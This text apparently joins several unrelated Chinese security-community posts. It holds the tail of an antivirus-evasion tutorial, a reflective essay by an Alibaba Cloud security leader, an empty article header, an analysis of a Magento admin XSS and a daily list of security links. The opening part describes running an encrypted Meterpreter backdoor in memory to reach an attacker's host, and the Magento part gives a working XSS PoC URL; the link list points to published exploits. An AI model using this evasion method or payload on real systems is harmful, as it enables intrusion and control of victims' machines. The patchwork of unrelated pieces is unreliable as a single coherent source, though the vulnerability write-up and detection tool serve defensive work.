如下图所示，我使用这一段C#代码来执行加密后的载荷，在源码中，我们需要将Payload_Encrypted变量替换为步骤3中生成的加密后的载荷，此外，我们需要将KEY值替换为步骤2中使用的那个密钥值。
请注意：你在步骤2以及步骤4中使用的KEY值应该一致，因为加密密钥以及解密密钥是同一个密钥。
在这段源码中，我会根据命令行中的参数来生成加密载荷，所以我可以在命令行中输入字符串形式的加密载荷，执行这个exe程序，如下图所示。
执行程序的命令如下：
dos C:> backdoor.exe “217,119,88,…….,82,12,210”
此时，加密后的载荷会解密并在目标主机的内存中运行，如果上述步骤均顺利完成，那么你就可以在攻击端的Kali
Linux系统中收到一个meterpreter会话，如下图所示：
如下图所示，我的反病毒软件没有检测到这个使用了加密载荷的后门：
事实上所有的反病毒软件都无法检测这种后门，检测结果如下图所示：
其实我开发了一个取证工具，可以实时检测内存中的Meterpreter载荷。使用这种实时扫描工具，你可以在内存中发现这个后门，工具下载链接如下：
[http://github.com/DamonMohammadbagher/MeterpreterPayloadDetection](http://github.com/DamonMohammadbagher/Meterpreter_Payload_Detection)
**
**
**三、参考资料**
[1] 使用DNS传输后门绕过反病毒软件。<http://www.linkedin.com/pulse/bypassing-anti-viruses-transfer-backdoor-payloads-dns-mohammadbagher>
[2] 反病毒软件以及基于特征的检测方法的不足（使用NativePayloadReversetcp
2.0版再次绕过反病毒软件）。[http://www.linkedin.com/pulse/antivirus-signature-based-detection-methods-doesnt-mohammadbagher?trk=pulse_spock-articles](http://www.linkedin.com/pulse/antivirus-signature-based-detection-methods-doesnt-mohammadbagher?trk=pulse_spock-articles)
[3] 如何通过扫描内存发现无法检测到的Meterpreter载荷。<http://www.linkedin.com/pulse/detecting-meterpreter-undetectable-payloads-scanning-mohammadbagher?published=t> | 社区文章 |
本文作者：道哥。@刺
无欲则刚
回到阿里已经29个月了，算上此前在阿里的七年时间，已经为这家公司服役了将近十年。这十年的时光，加上2012年到2014年期间参与到安全宝创业的那两年，组成了迄今为止我的职业生涯。这些年经历的所有事情，吃过的所有苦头，所有的酸甜苦辣，都像刻刀一样雕琢了我的生命。过去的2016年，对我来说是非常难忘的一年，也是非常重要的一年。
在十年前，我看着心中偶像的背影成长，现在，我也成为了一些人心中的背影。有些人羡慕我年纪轻轻就得到了很多，但我并不觉得自己和以前有什么不一样。成为别人心中的背影并不是我喜欢的，因为这个时代太可怕了，发条朋友圈都会被人截图拿去变成新闻头条，这让我变得比以往更加孤独。人们总爱随意评价他人，哪怕他们不了解的人和事，一点点的道听途说就可以做出长篇大论。但生活在这个互联网时代，也许我们无法回避被人评价。我们应该多一点讨论，少一点评价，尤其是不负责任的评价。这也是我越来越少写文章的原因之一，无论是写出来被人评价，或是要求我点评时事，都是我不愿看到的。评价他人我几乎看不到任何的益处，而有益的讨论却往往淹没在繁杂的噪音中。
所以近两年来我很少看评论文章。很多媒体和大V写的东西不是水平有限就是胡扯，因为他们要么缺乏深入了解的机会，要么缺乏深入了解的能力，或者两者皆有，所以看了要么浪费时间，要么反而有害。我更多关注的是原始的事实本身，或者是某些当事人的直接访谈。虽然一个公开访谈有时候也不会讲真话，但至少对还原实际情况会有帮助，比二手资料要好一些。自己有所得就好。
这些年的经历让我愈发的认识到这个社会何以浮躁，也看清了我过去一些浮躁的地方。现在的人们普遍抱着投机心理在做事情，这已经成为一个社会问题。大多数人期望能够通过较少的付出获得较多的回报，期望能够找到捷径，或者是发现一些别人没有发现的机会从而获得成功。比较典型的现象就是不断换工作以谋求到更好的职位和更高的薪水，或者是期望通过创业改变自己的命运。
人们总是混淆了欲望和理想。
我的体会是，这世上根本没有什么捷径可走，创业也根本不是功成名就的最佳途径。四年前，我是怀揣着「达则兼济天下」的情怀离开阿里，加入安全宝创业的，我希望我在安全领域的经验能够帮助更多的企业。但是两年创业维艰，最后安全宝分别卖给了百度和阿里
--创始人马杰带着大部分人去了百度，我带着一小部分人回了阿里。回首四年前的我，更多的是纸上谈兵。这几年踩过的坑、吃过的苦头，让我伤痕累累，但却成就了今天的我。这个世界相对还是公平的，你所得到的，一定和你付出的一样多，只是人们往往只看到你所得到的，而只有你自己才能看到你所付出的。
在很多外人看来创业后被巨头以一个不错的价码收购已经足够成功，但是在我看来，一个创业公司没有完成它创立之初的使命和初心，半途而废，就远远谈不上成功。也因此，我们依然继续行走在这条道路上，马杰在百度，我在阿里云，我们分别坚持着当初想去做的事情，和以前并无二致，我们依然走在完成初心的道路上，只是换了一个形式。
所以什么是创业？不是说有一家公司才叫创业，现在注册一家公司的成本很低，但那不会带来任何本质的改变。我理解的创业，就是本来没有的东西，你做出来了，就是创业。
在四年前，我会狂妄的宣称要去颠覆世界，现在看来，世界根本不需要被颠覆，也很难在短时间内颠覆一个行业或一个市场。世界需要的是变得更美好，这是创业公司应该追求的。
在去年提交给公司的一份内部报告里，我曾经写过这样一段话：
「我相信未来我们会生活在一个数据被时时监控的时代，被企业出于商业目的监控，被黑客出于牟利目的监控。这就像我们每个人都赤身露体行走在光天化日之下一样，想想就会让人不舒服。如果没有合理的法律和有效的技术保护手段，这将是最糟糕的时代。
但这个时代终将到来，不管我们是否喜欢它，只能做好迎接它的准备，不适者将被淘汰。我们能做的，是尽自己的微薄之力，按照我们的想法，将这个即将到来的时代塑造得更加美好。」
世界为什么会变得更美好？因为世界的未来是我们定义的。如果看到的未来错了怎么办？最保险的方式就是自己去做出来，这样就不会出差错了。创业者与科幻小说家唯一的区别是，创业者去做了。这就是创业的全部含义。
但永远不要低估这个过程中的困难。创业者要面临一万个困难，解决完这一万个困难后，还有一万个新的困难在前面等着，没有对成功的坚定信仰是不可能走下去的。很多人在走到第十个困难的时候就放弃了，然后把放弃的理由推到了第十一个困难上。
同样的，一件事情如果浅尝辄止，往往也是白干。一件事情如果只做个两三年，可能就是来搭搭顺风车，享受一下别人创造的成果，给履历里镀点金，成为自己上升的阶梯。一件事情如果不坚持做个八年、十年，可能很难真正做出点什么东西。一个人如果总是两三年就换件事情做，在我看来就是浪费时间。哪怕薪水会不断的涨，头衔在不断上升，但最后终将一事无成，因为所有的积累，都半途而废。
深度决定成败
真正想做好一件事情，出发点要很纯粹，这样才能做深，也只有做深，才能真正做到不一样。很多评论文章里会提到个观点，叫「产品的细节决定了产品的成败」，很多人自己不做产品，听着觉得好像有点道理，就到处传播这种观点。我觉得这就是典型的胡扯。细节根本不会决定产品的成败，甚至很多成功产品在早期的时候产品体验和各种细节都是一塌糊涂。准确来讲，是深度决定了产品的成败。包括了技术的深度、对行业对客户理解的深度等等。这些东西最后可能有一小部分会反应在一些产品细节上，但细节永远只是表面功夫，真正重要的是对细节背后的理解。人云亦云之害亦在于此。
我们的「游戏盾」产品的发展历程，充分的说明了这一点。「游戏盾」产品的前身诞生在2015年年初，当时我们发现有一家做直播的客户自创了通过「快速切换」的方式来缓解DDoS攻击的解决方案，也在同一时间我们观察到游戏行业有一个客户也采用类似的思路，用VPN的架构完成了一个实现。这是一种不同于囤积带宽的防御方式，理论上可以只需要很小的带宽就能防御无限大的DDoS攻击。我们认为这种创新方案极具潜力，但客户自己实现的解决方案都有一些缺陷，由云平台来实现则具备先天优势，能够做到效率最优。于是我们把客户请到公司来进行交流，并请他参与到我们产品的设计与研发过程中。
在2015年上半年，我制定了1号项目，内部代号「云层」，就是为了完成这个构想。到了2015年下半年，产品研发初步完成，我将它命名为「弹性安全网络」，并正式对外发布。但是运营一段时间后，我们发现客户比较难以理解它的作用和理念，同时在真实的场景里，也存在各种各样的瑕疵，导致没能真正解决客户的问题。最致命的是，我发现它在商业模式的设计上存在重大缺陷，继续运营下去我们会破产。于是在产品发布三个月后，在2015年年底，我正式叫停了这个项目，产品下线，研发资源重新释放出来投到别的产品上，第一次尝试以失败告终。
但事情并没有结束，在我叫停项目并释放研发资源后，项目组有两三位同学不甘心就这么放弃，在没有任何支持的情况下利用业余时间继续进行着云层的研发工作，并自己去寻找天使客户，寻求真实的客户场景。
转机出现在2016年4月份，一家做棋牌游戏的叫闲徕互娱的公司成为了云层的首批天使客户。这家公司成立后业务发展很迅速，就被黑色产业盯上，发起了疯狂的攻击。很多初创公司往往就倒在这种不正当的行业竞争当中，再也没有机会长大。在这种情况下，我们的技术人员和闲徕一起决定，试试云层。一开始，云层确实马上起到了立竿见影的作用，但是随着对抗的升级，黑客也逐渐摸到了我们的规律，攻击开始出现变化。在那段时间，我们每天都要进行快速响应，研发的同学经常要半夜爬起来更新程序，这场仗打得异常艰苦。
但一切努力没有白费，通过几次大版本的升级，这个系统逐渐完善。一次次的真实对抗，有效的锤炼了产品，认识到了很多以前根本没有想到过的问题，闲徕的技术团队在这个过程中也积累了丰富的经验，并根据云层提供的解决方案，形成了一套适合自己的行之有效的防御方案。到了11月，这家成立仅仅8个月的公司，被昆仑万维以20亿的价格收购，创造了一个神话。我们的云层也正式改名为「游戏盾」，在游戏行业里打开了局面。
截止到今天，我们的「游戏盾」产品依然没有正式发布，尚在邀请内测阶段，但我们对它的未来充满了信心，并且我们也充分认识到它的潜力不仅仅只是解决游戏行业的问题，而是会帮助我们真正的构建下一代的安全网络，回归到真正的「弹性安全网络」。如果没有闲徕互娱的信任，不会锤炼出我们「游戏盾」产品的深度，而缺乏了这样的深度，闲徕互娱很可能会倒在6月，看不到11月的曙光。我们与客户共同成长。
而在这整个过程中，最让我感动的，是项目组的那两三位同学，在我叫停了项目之后，依然保持乐观的心态，重整旗鼓，最终取得了成功。他们坐在我座位的不远处，我每天都能听到他们讨论问题时宏亮的声音，我从没有听到过他们的一丝抱怨，我看到的永远是他们冲在一线解决客户问题的身影。这种乐观的心态，这种对荣辱毫不计较的精神，才是真正的创业者精神。
对创业初心的坚持，就是对使命的坚持。使命一定是解决了他人的问题，而不是解决了自己的问题。解决他人的问题就是「利他」，商业的本质不是交换，而是「利他」。一定是在利他的基础上，才能产生交换的需求。这就是为什么多数成功公司的企业文化里，都会强调「利他」的原因。需要有对应的企业文化，来催生对应的组织机制，以完成相应的商业目标，这是一环扣一环的。很多管理者从书上借鉴了一些做法，但并没有理解这其中的深层次联系。如果理解了企业的根本是客户价值，客户价值的本质是利他，从而鼓励所有员工成为「利他」的人，企业文化才不会流于形式和口号，才能真正成为基业长青的基石。
对社会的责任
「利他」的事情做的多了，就解决了多数人的问题，进而就解决了一个社会问题。所以商业公司发展壮大后，都会开始谈社会责任。
目前中国有超过37%的网站部署在阿里云上，而我团队所负责的安全，则要保护这么多企业的业务和数据。顿时感到肩上责任重大。
这两年，阿里云云盾几乎已经成了云安全的代名词。一位朋友跟我说，客户谈到云安全，基本上都会提到云盾，因为现在几乎找不到什么别的云安全解决方案。我认为这是对我放弃写公众号后，专注在产品上的最大肯定。回想2015年1月推出第一个商业产品时，还没有几个人听说过云盾。那一年我在公司内部做分享，我很自信的告诉大家几年后他们一定会对云盾的名字如雷贯耳。
这29个月，我在阿里云完成了云盾的商业化。在过去的2016年，我们仅用3个月时间就完成了2015年的全年营收，增长超过400%，而2017年我们将保持这个增速继续发展下去。坐火箭一样的速度。我们用两年时间走完了中国安全行业最大的上市公司花了十年走完的路，而我们的人数不到他们的十分之一。
这29个月里，我们曾成功防御了当时互联网历史上最大的DDoS攻击，瞬时攻击达到了453.8Gbps；目前我们每天都会防御中国超过一半的大流量DDoS攻击；我们顺利的完成了G20峰会的安全保障工作，浙江政府的各级网站因此建立起了对云计算的信心；我们还连续两年夺得了安全媒体Freebuf颁发的「年度安全云」大奖。
这29个月里，我们引领了整个云安全的方向，我们的前面没有他人，我们是开拓者。在国内的云计算市场，我们成功的重塑了云计算市场的行业标准 --做云计算必须带有安全解决方案。云盾的各产品成为云计算的标配被友商争相模仿，甚至连定价都被直接复制。在国际方面，云计算的领头羊AWS在云安全方面陆续推出的inspector、WAF、DDoS防护（AWS
Shield）等都是在一一对齐云盾的产品线。
在2015年12月，阿里云上的一家游戏客户遭受了超大流量攻击，性质特别恶劣。我们对攻击事件进行了深入的分析，发现是全球最大的DDoS攻击犯罪团伙所为，该团伙臭名昭著，像笼罩在互联网上的一朵乌云。客户决定走司法途径。在2016年2月到8月，公安部历时半年，在全国范围内以及境外了抓捕了数十人，重创了该团伙，有效的震慑了黑色产业。
据我们观测，在2016年9月，公安部实施打击的前后，全国的DDoS攻击总数下降了20%；据国外某大型基础设施提供商观察，全球伪随机子域名DDoS攻击（该团伙最常用的攻击方式之一）在5-8月期间陡降为0，与公安部的专案打击时间完全吻合；据Akamai
2016
Q3互联网安全状态报告显示，全球范围内来自中国的DDoS攻击流量比例下降了56%，对全球DDoS总攻击次数有显著影响，导致本季度全球总攻击下降8%。
在我看来，阿里的安全未来对社会的贡献，不会亚于淘宝、天猫的零售业务、蚂蚁的金融业务对社会的贡献。因为这是时代的需要。随着互联网成为基础设施，数据在线后安全问题愈发突出。习大大也指出：「没有网络安全就没有国家安全。」。国家对互联网的依赖程度越深，安全就越重要。
对团队的自信
在这背后，需要一支能打仗的团队。我一直坚定的认为我所在的团队，放到整个阿里也是最优秀的团队。我判断团队是否优秀的标准和其他人不太一样，不是看有多少高级别的人，有多少光鲜履历的人，有多少经验丰富的人，而是优先看所有人对于使命的坚持有多强烈。在遇到逆境、遇到挫折、遭受委屈、不公待遇时是否依旧能坚持，初心不改。这样的团队将会很有韧劲，才能打逆风仗。因为创业不可能永远一帆风顺，逆风是常态，而那些冲着光鲜职位来的人，冲着晋升机会来的人，往往也是逆风时第一个抛弃团队的人。有韧劲的团队，要有顶着3.25的绩效（3.25在阿里的绩效考核里是不及格）坚持做正确事情的决心。这与绩效考评无关，只与我们自己内心的坚守有关，只与我们对这个社会的贡献有关。
我们要面临的环境往往非常恶劣，什么都缺。但什么都缺才是创业，如果什么都不缺，那是享受。所以我们招人的时候，如果招来的人来了后嫌弃这没有、那没有，要资源没资源、要钱没钱，似乎就没法做事情了，这种人很难成为创业者。如果招来的人，一看什么都没有，不沮丧却很兴奋，从困难中看到了机会，而不是从机会中看到了困难，那么这种人就是我们需要的人。
在人才选拔上我有两个最基本的要求：勤于思考，言出必践。我思考了很久后，想明白了这两点是所有岗位都有共性的基本要求。言出必践已经是极高的要求了，因为这意味着任何意外都不应该是失败的理由，所以想要拿到结果，一定要思虑周全，并有相应的执行力。从一些日常琐碎的小事就能观察出一个人对于承诺的认真程度，比如不能守时的人，也不会是一个很重承诺的人。如果说好的事情总是做不到，那么这种人多半是坑老板的人，不可用。一个不重承诺的人，哪怕再有才华，也是夸夸其谈，用之甚至有害，因为团队其他人会觉得不公平。
一个团队里除了要有执行力强的人，还要有聪明的人。但聪明其实不是很好描述，过于主观。所以我认为我们真正需要的是勤于思考的人。对我们来说，时间比钱贵，只有真正肯花时间在一件事情上，才是真正的重视，才是真正的认真。我认为最应该花时间的事情就是思考。思考绝对不是小聪明，不是想着法偷懒或蒙混过关，而是思考如何正确的、高效的完成目标。很多时候工作做得不好，不是执行没到位，而是思考没到位。我们有很多需要思考的东西，思考事情、思考人，思考未来、思考风险、思考机会，思考谁是合作伙伴、谁是潜在的敌人。思考的深度，决定了结局。我很喜欢雷军说过的一句话：「不要用战术上的勤奋，掩盖战略上的懒惰。」，我稍加修改一下会更贴切：「不要用执行上的勤奋，掩盖思考上的懒惰。」。
我们总是在不断犯错中前进，没有错误，就不会有进步。但犯错一定会带来伤害，或伤了人，或伤了业务，但只要没死，总能再生。我们不论成败，只论生死。
这个过程中也并不是所有人都能坚持到最后，在中途也会有人熬不住而退出，因为确实苦。在2016年我们大获成功的WAF产品（WAF是Web应用防火墙的简称）身上发生的事情，可以充分反应出很多问题。也同样是我在提交给公司的内部报告上，我记录了这个产品经历的反复：
「很多创新业务，在最早的时候都是如此的窘迫，没有资源，借过来，简陋一点，也能开张。只要客户价值明显，就能生存下去。
但也有客户价值不明显，经历过反复的。比如WAF产品，在2012年的时候，我离开公司前立项做的这个产品，我走后换了一位同事接手。等我2014年回到公司时，这个产品半死不活，版本有三四个，架构还各不相同，稳定性和扩展性都有问题，CDN团队用了我们的产品后还搞出过故障，压力很大。回来后我快刀斩乱麻的砍掉了几个版本，然后对主版本进行重构解决稳定性的问题，整个研发团队憋着一口气一定要打个翻身仗。经过了大半年的努力，整个软件版本终于变得稳定，这才有在2016年4月份开始重新商业化的机会，而回过头来看，前后已经过去了四年，产品形态也已经变化了三四次，经历了上线到下线，到重构，到再次重新上线，相当于凤凰涅磐了一次。在今年，WAF产品是我们的爆款产品，增长率超过了DDoS高防去年同期，是下一个明星产品。
但和书上写的故事不同的是，当年憋着那口气要打个翻身仗，洗刷耻辱的那个研发团队，在重构完成后，多数人却陆续都离开了公司，没有能够坚持到WAF摘取商业化成功果实的那天。也许这才是真实的现实世界。」
现在WAF的研发团队还是那个团队，但人已经几乎全是新的面孔。部队打残了，只要番号还在，传承就还在，就可以重建，收拾残部，从头再战。
但我依然想感谢所有离开了团队的人，不管你们的离开，是开心的还是沮丧的，若没有你们曾经的付出，不会成就今天的云盾。也要感谢所有目前依然不离不弃的人，因为没有你们今天的努力，不会成就云盾的明天。所有人都看到了WAF今天的成功，但我们自己不要忘记过去的那些人、那些事，因为这是我们最宝贵的财富。
对客户的敬畏
在这29个月里，我还经历了两次3.25（绩效考评不及格），两次都是因为故障。在业务高速增长的同时，我们付出了惨痛的学费。其中在2015年9月1号发生的故障（我们内部代号称为901），是阿里云历史上最大的一次故障。故障发生在午休过后，突如其来的雪片纷飞般的报警一下子让我们懵了，大量客户的业务发生了中断。
一个给学校做报名系统的客户联系了我，故障直接造成了他们业务的中断，因为那天刚好是学校开学，很多学生都没办法报到了。而那时我正和团队在紧张的进行着一项项故障恢复工作。国家各级监管部门都纷纷发函来询问故障原因，并要求我们提交故障报告。故障后第二天一大早进行的复盘会，全集团所有与基础设施和云计算相关的最高级别的技术专家几乎全部到场，塞满了整个屋子，所有人都板着脸。会议进行了两个小时，气氛很压抑。一周后，我到公司的总裁月会上，向集团CEO逍遥子、以及各事业群的总裁们汇报整个故障过程。这是我第一次参加集团的总裁会，可惜是去讲令人如此沮丧的事情。
故障发生后，我深感内疚，所以决定在阿里云标准的赔付范围之外，再给予所有受到故障影响的客户单独的云盾产品赔付。故障解决之后，我还发动云盾团队所有同事和我一起为客户手写道歉信。可惜由于人手有限，因此只有部分客户能收到我们的信件。但收到信件的客户都给了我们一些正面的反馈，有的人还把信件的照片贴在了朋友圈里。
事后，组织发展部的十三姨问我当时是不是压力很大，我想了想，回答她说，当时的想法是，在那时候没有人比我更适合处理这个事情，所以我必须顶上去，不能有半步退缩。至于之后的事情，没想那么多。
这次故障后，整个阿里云从上到下进行了很大的反思，也更让我们刻骨铭心的体会到云计算作为基础设施对客户来说意味着身家性命，这和阿里以往的业务是很不一样的。我们需要时刻心怀敬畏。我们把稳定性建设，作为了研发团队的永久性战略目标。我也把每年的9月1号，定为了云盾日，希望团队能够好好反思历史上遭遇的所有挫折。也希望能够好好的感恩和回馈那些在危难时刻对我们依旧不离不弃的客户，没有这些客户与我们一起共同成长，我们也无法走下去，走得远。
数据化是未来
这29个月里，我还学到了数据化的重要性。阿里是一家人工智能驱动的数据化公司，我们认为互联网公司最重要的资产就是数据。未来所有的产品改进，都应该是通过数据化驱动，而非功能驱动。如果一家公司的竞争力还依旧停留在硬件、软件的功能上，那么这是上一个时代的公司，没有什么前途。以现在的计算机编码发展水平，只要你能想得到，没有什么功能是写不出来的，缺的只是时间和投入而已。面向未来的公司一定是数据驱动的，只有数据驱动才能像滚雪球一样将竞争力做厚，才能在最短的时间内完成高效的规模化，建立起更高的门槛和壁垒。淘宝的搜索和商品推荐，取得了商业上的巨大成功，背后依赖的正是每天海量数据的计算。大约在2013年左右，淘宝用于后台数据计算的服务器数量，增幅超过了前台用于事务处理的服务器数量，这是一个里程碑，标志着阿里正式成为了一家数据化公司。
所以我们看一家公司是不是数据公司，有一个简单的判断标准，看他有多少台服务器用作了数据计算。一些传统做硬件设备的公司，和一些销售本地化软件的公司，几乎没有任何数据分析的需求，自然也谈不上是数据公司。还有一些公司，数据很多，但是没有计算的能力，只能存放在存储里，用于计算的服务器数量也很少，这也不是数据公司。
在云盾的态势感知产品中，阿里云的计算集群每天会调用超过数十万个核（我写这篇文章用的Macbook
Air的CPU有两个核）用于海量数据的计算，来分析每一个客户遇到的安全问题。这些数据来自于客户在开通态势感知时授权云盾出于安全的目的进行计算。在这么大的计算量下，很多问题都是没有答案的，需要我们摸着石头过河。阿里云在安全态势感知上的挑战，是替整个安全行业在探索大数据的边界和瓶颈。
态势感知这个产品的来历也颇有意思，这个概念最早是出现在军事领域，但是欧美的安全行业里几乎没有这个概念，可是最近一年在中国变得非常热门。
在2015年4月的时候，春暖花开，在西溪湿地的一个茶馆里，阿里云安全的核心管理团队开了一个为期两天的战略会，讨论未来的规划。当时参加这个会议的人还包括了肖力、云舒、老聂、方兴、王伟等人。我们当时觉得整个安全行业都出了比较大的问题，几乎没有厂商对客户的安全负责了，而且大多数安全产品用了后还是不能解决安全问题。我们在会上冥思苦想，这中间缺少的那一环到底是什么？最后憋出来四个字，就是「态势感知」。
我们认为只有用大数据的手段先解决看问题的全面性，才有可能真正解决安全问题，很多安全解决方案的失败，不是在于防护做得不好，而是在于根本没看见敌人，防护就无从谈起。因为过去缺少对原始数据的计算能力，只靠单机设备想全面的看各个纬度的数据从而分析出威胁几乎是不可能的事情。我们当时曾斟酌过要不要用「威胁感知」来表达我们的想法，最后是方兴提出建议，认为威胁感知还是不够全面，用「态势」会更合适一些。最后我领了个任务，要去把纸上的四个字「态势感知」做出来。那时候安全行业还没有人提「态势感知」这个概念。
到了2015年7月份，在北京举行的阿里安全峰会上，我正式做了一次产品发布，用的标题是「安全的未来是态势感知」，阐述了我们的理念。在此之后，国内的安全厂商忽然都开始做态势感知了。直到2016年4月19号，习大大在网络安全和信息化工作座谈会上，提出了「要树立正确的网络安全观，加快构建关键信息基础设施安全保障体系，全天候全方位感知网络安全态势，增强网络安全防御能力和威慑能力。」。于是乎，4.19讲话后，各种各样的态势感知系统如雨后春笋般冒了出来，很多厂商直接把过去的老产品比如SIEM、SOC改了个名字叫态势感知就拿出来卖。
到了2016年12月27日，这段话直接写进了国务院全文刊发的《“十三五”国家信息化规划》里，同时公安部也在规划中的下一代等级保护标准里写入了态势感知。态势感知即将成为合规性需求。
其实到今天为止，我都不知道蝴蝶的翅膀是怎么扇起来的。作为最早实践态势感知的人，我也至今还在探索什么样的系统、什么样的能力才称得上是态势感知，什么样的客户才需要态势感知。可是忽然一夜之间，行业里多出来了好多态势感知的专家，这让我很困惑。
态势感知将承载大数据在安全行业落地的使命，但是需要数据化的却不仅仅是态势感知。在2017年，云盾的产品会全面拥抱数据化，这也是我们区别于其他厂商解决方案的最大不同。比如云盾的WAF将不再是一个软件或硬件，也不是一个基于转发或流量过滤的集群，而是一个旁挂了大数据计算集群的WAF。我们将带着阿里云数十万个核的大数据计算集群和其他厂商的单机设备竞争，这是两个时代的竞争。我也期待着云盾用于后台计算的服务器数量，超过用于前台事务处理的服务器数量的那天尽快到来。
这29个月里的每一天，对我来说，都过得非常的充实。我的性格变得比以往更加的锋利，正如我的网名「刺」一样，我比以往任何时候都更加带刺，也自然会伤到很多人。会不会得罪人永远不是我优先考虑的，因为根本没有时间去顾及别人是不是开心，时间紧迫，要做的事情却很多、很难。我常自嘲在团队内部我就像一个暴君，也因此我需要感谢所有能忍受我脾气的同事。创业不是一将功成万骨枯，创业是一个团队的成功。我很高兴我在一个值得信赖的团队，共同奋斗。
最后，感谢则西这两个月来的坚持，是你近乎偏执的要求我对两年多的工作做一次总结，否则已经放弃写公众号的我，不会再次动笔写成此文。
建设更安全的互联网。 | 社区文章 |
# 从果粉到黑吃黑：一个论坛挂马的奇异反转
|
##### 译文声明
本文是翻译文章，文章来源：360安全卫士
原文地址：<http://blogs.360.cn/360safe/2016/04/28/xiaoqi_forum_web_trojan/>
译文仅供参考，具体内容表达以及含义原文为准。本文翻译自360安全卫士
[原文链接](http://blogs.360.cn/360safe/2016/04/28/xiaoqi_forum_web_trojan/)。如若转载请注明出处。
商务合作，文章发布请联系 [email protected]
本文由 **360安全卫士** 原创发布
转载，请参考[转载声明](https://www.anquanke.com/note/repost)，注明出处：
[https://www.anquanke.com/post/id/83839](/post/id/83839)
安全客 - 有思想的安全新媒体
本文转载自:
[360安全卫士](http://blogs.360.cn/360safe/2016/04/28/xiaoqi_forum_web_trojan/)
如若转载,请注明出处： <http://blogs.360.cn/360safe/2016/04/28/xiaoqi_forum_web_trojan/>
安全客 - 有思想的安全新媒体
分享到：
* [安全知识](/tag/安全知识)
**+1** __0赞
__收藏
360安全卫士
分享到： | 社区文章 |
原文链接：<https://www.fortinet.com/blog/threat-research/magento-commerce-widget-form--core--xss-vulnerability.html>
虽然电子商务给我们带来了更方便的生活，但它在互联网上正面临着越来越多的威胁。根据[Alexa
2018年前百万电子商务平台排名](https://www.datanyze.com/market-share/e-commerce-platforms/Alexa%20top%201M/)显示，Magento
Commerce目前拥有超过14%的市场份额，是全球第二大电子商务平台。Magento的客户中有很多知名公司，包括惠普、可口可乐和佳能等。
FortiGuard
Labs团队最近在[Magento](https://magento.com/security/patches/magento-2.2.7-and-2.1.16-security-update)中发现了一个跨站脚本攻击(XSS)漏洞。这个漏洞产生的原因是因为Magento在将用户提供的数据插入到动态生成的表单控件之前没能对其做好安全处理。虽然这个XSS漏洞只存在于Magento管理员页面上，但它允许远程攻击者在受害者的浏览器上执行任意代码，然后控制Magento的高权限帐户，从而达到访问敏感数据或控制脆弱web站点的目的。
此XSS漏洞影响到2.1.16版本之前的Magento Commerce 2.1系列版本和2.2.7之前的Magento Commerce 2.2系列版本。
## 漏洞分析
在编辑Magento网站页面时，有两种模式:WYSIWYG模式和HTML模式。在WYSIWYG模式下，其中一个按钮名为“Insert
Widget…”(参见下图)。
下图中我们发现，可以通过直接访问链接<http://IP/magento/index.php/admin/admin/widget/index/>
来调用有插入控件函数的表单。
上图中的表单是由位于/vendor/magento/module-widget/Block/Adminhtml/Widget.php ([GitHub
link](https://github.com/magento/magento2/blob/2.3-develop/app/code/Magento/Widget/Block/Adminhtml/Widget.php))的Widget.php中的PHP函数生成的，它处理了用户提供的URL，过滤了参数“widget_target_id”的值，并将其插入到一个script标签中，如下图所示。
例如，当我们访问[
http://IP/magento/index.php/admin/admin/widget/index/widget_target_id/yzy9952](http://IP/magento/index.php/admin/admin/widget/index/widget_target_id/yzy9952)链接时，widget_target_id的值将会被插入到script标记中，如图所示。
这个函数仅仅通过使用些例如“；”，“"”和“}”等符号来闭合用户输入以作为安全处理。然而，这个处理可以通过添加另一组符号，如“)});”来闭合当前函数，并且再利用HTML语言的注释标记“<!--”注释掉以下所有代码而实现绕过。可以看下面的示例
[http://IP/magento/index.php/admin/admin/widget/index/widget_target_id/yzy9952")});test](http://IP/magento/index.php/admin/admin/widget/index/widget_target_id/yzy9952)<!--。
此时，攻击者可以向这个web页面插入任意代码。我们可以看到，在这个script标记开头调用了一个“require”函数，但是这个函数实际上并不存在。我们可以创建一个“require”函数，将代码添加进去然后执行。例如，通过访问这个PoC，将会执行我们所提供的代码:[http://IP/magento/index.php/admin/admin/widget/index/widget_target_id/yzy9952")});function%20require(){alert(document.domain)}](http://IP/magento/index.php/admin/admin/widget/index/widget_target_id/yzy9952)<!--
## 解决方案
所有能受攻击的Magento商业版本的用户应该立即升级到最新的Magento版本或应用最新的补丁。此外，已经部署了Fortinet
IPS解决方案的组织已经通过以下签名免受此漏洞的影响: **Adobe.Magento.Widget.XSS** | 社区文章 |
# 【知识】9月30日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Mac固件安全研究、AttifyOS：一款针对IoT的渗透测试系统（集成常用工具）、Gen2 UHF RFID Reader、Spring
Data Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析、CVE-2017-11282：0patching Flash
Player远程内存破坏漏洞**
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
在中国之后，韩国也宣布禁止ICO
莫斯科的监控网络部署面部识别技术
**资讯类：**
谷歌研究员发布攻破iPhone博通无线芯片的PoC利用代码
<https://thehackernews.com/2017/09/apple-iphone-wifi-hacking.html>
两年时间，Linux内核bug变成潜在的本地权限提升缺陷
<https://thehackernews.com/2017/09/linux-kernel-hacking.html>
**技术类：**
********
Mac固件安全研究
<https://duo.com/blog/the-apple-of-your-efi-mac-firmware-security-research>
安全圈关系可视化分析【安全圈也许就这么大续集】
[http://mp.weixin.qq.com/s/lIOSV5JOs9VvIcSnf_gbAQ](http://mp.weixin.qq.com/s/lIOSV5JOs9VvIcSnf_gbAQ)
AttifyOS：一款针对IoT的渗透测试系统（集成常用工具）
<https://github.com/adi0x90/attifyos>
如何保护关键任务域名（域名安全）
<https://blendle.engineering/protecting-our-mission-critical-domain-names-e9807db9d84c>
Gen2 UHF RFID Reader
<https://github.com/nikosl21/Gen2-UHF-RFID-Reader>
Spring Data Rest服务器PATCH请求远程代码执行漏洞CVE-2017-8046补充分析
<https://xianzhi.aliyun.com/forum/read/2186.html>
电子邮件跟踪的隐私启示
<https://senglehardt.com/papers/pets18_email_tracking.pdf>
4.13 KASLR bypass via virtually seccomp-proof 144 byte infoleak
fix：<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6c85501f2fabcfc4fc6ed976543d252c4eaf4be9>
exploit：<https://grsecurity.net/~spender/exploits/wait_for_kaslr_to_be_effective.c>
Qmail SMTP Bash Environment Variable Injection (Shellshock)
<https://packetstormsecurity.com/files/144424>
介绍Cloudflare Warp：隐藏在Edge之后
<https://blog.cloudflare.com/introducing-cloudflare-warp/>
SolarWinds Network Performance Monitor 12.0.15300.90 Denial Of Service
<https://packetstormsecurity.com/files/144412>
